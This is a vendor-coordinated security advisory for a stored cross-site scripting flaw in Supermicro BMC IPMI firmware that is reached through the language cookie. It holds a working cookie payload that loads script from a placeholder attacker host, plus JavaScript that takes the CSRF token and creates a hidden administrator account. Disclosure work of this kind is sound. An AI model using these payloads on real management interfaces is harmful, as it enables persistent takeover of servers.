Header bannerHeader banner

[BRLY-2023-011] Stored cross-site scripting vulnerability in Supermicro BMC IPMI firmware in multiple webpages using language cookie value

October 3, 2023

Summary

BINARLY team has discovered a stored DOM-based cross-site scripting (XSS) vulnerability in multiple webpages that uses language cookie value, included in the web server component of Supermicro BMC IPMI firmware, allowing a possible attacker to gain access to an account with administrator privileges.

Vulnerability Information

  • BINARLY internal vulnerability identifier: BRLY-2023-011
  • Supermicro PSIRT assigned CVE identifier: CVE-2023-40285
  • BINARLY calculated CVSS v3.1: 8.6 High AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
  • Supermicro PSIRT calculated CVSS v3.1: 8.3 High AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Supermicro firmwares with confirmed impact by Binarly team

Device Version SHA256
X11SSM-F/X11SAE-F/X11SSE-F 1.66 dbc3842a5e3918463690fa165b2b0955989c00702bc7284af5875ef08e7606b1

Potential impact

An attacker could exploit this vulnerability to create an account with administrative privileges to the web server component of BMC IPMI software. Such account provides full acess to these settings: System Information, Chassis Locator Control, FRU Reading, Sensor Readings, Event Log, Alert, LDAP, Mouse Mode, Network, SMTP, SSL, Users, Event Action, Power Control, KVM, F/W Update, Logout. It also allows exploitation of vulnerabilities that require authentication.Successful exploitation of this vulnerability provides an attacker with persistence, allowing malicious code to be executed until the victim takes remedial actions.

Vulnerability description

Multiple webserver HTML pages contain JS code that reads a language cookie value into the lang_setting variable and uses it to construct a JavaScript code that will be included in the page using the document.write() function without any sanitization. For example, this code is located in mainmenu page, which is loaded by default after a successful user authentication:

...
lang_setting = ReadCookie("language");
if (lang_setting == null) {
  CreateCookie("langSetFlag", "0");
  CreateCookie("language", "English");
  lang_setting = "English";
}
document.write(
  '<script type="text/javascript", src = "../js/lang/' +
    lang_setting +
    '/lang_str.js"></script>'
);
...

function ReadCookie(name) {
  let invalidStr = name.match(/([^A-Za-z0-9= ;])+/g);
  if (!invalidStr) {
    var arg = name + "=";
    var alen = arg.length;
    var clen = document.cookie.length;
    var i = 0;

    while (i < clen) {
      var j = i + alen;

      if (document.cookie.substring(i, j) == arg) {
        return get_cookie_val(j);
      }

      i = document.cookie.indexOf(" ", i) + 1;

      if (i == 0) {
        break;
      }
    }
  }
  return null;
}

As a result, arbitrary JavaScript code can be injected into webpages, which will be executed on behalf of the authenticated user.

Steps for exploitation

The first step to exploit this vulnerability is to poison the user's language session cookie. This can be achieved using another vulnerability in the web server (with XSS, HTTP header injection, etc.), as well as through exploitation of other system components, for example, with a malware.

To create an administrator account with username BRLY and password BRLYBRLY an attacker can poison the language cookie of an authenticated user session with administrative privileges with the following payload:

language=English/lang_str.js"></script><script src="https://{ATTACKER_HOST}/payload.js"></script><script src="

Where https://{ATTACKER_HOST}/payload.js is the address of hosted JS payload:

var ajaxRequest = new XMLHttpRequest();
var csrfRegex = /CSRF_TOKEN", "([^"]*?)"/g;
ajaxRequest.open("GET", "/cgi/url_redirect.cgi?url_name=topmenu", false);
ajaxRequest.send();
var csrfMatch = csrfRegex.exec(ajaxRequest.responseText);
var csrf = csrfMatch[1];

var params =
  "op=config_user&username=BRLY&original_username=2&password=BRLYBRLY&new_privilege=4&_=";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", "/cgi/op.cgi", true);
ajaxRequest.setRequestHeader("Csrf_token", csrf);
ajaxRequest.send(params);

This payload first obtains the user's CSRF token and then uses it to make a POST request in order to create a user with administrative privileges and credentials defined by the attacker.

NOTE: The payload will be executed every time the victim visits vulnerable pages while the language cookie value is poisoned, even after logging in again, making this attack persistent. To terminate the exploitation, additional steps are required to clear the cookie value.

How to fix it

Ideally, user controlled inputs should not be used to construct HTML elements. If it is not possible in such case, the language cookie value must be checked against a whitelist of allowed values.

Disclosure timeline

This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

Disclosure Activity Date (YYYY-mm-dd)
Supermicro PSIRT is notified 2023-06-28
Supermicro PSIRT confirmed reported issue 2023-06-29
Supermicro PSIRT assigned CVE number 2023-08-17
Supermicro PSIRT provide patch release 2023-10-03
BINARLY public disclosure date 2023-10-03

Acknowledgements

BINARLY team

Tags
BMC
Supermicro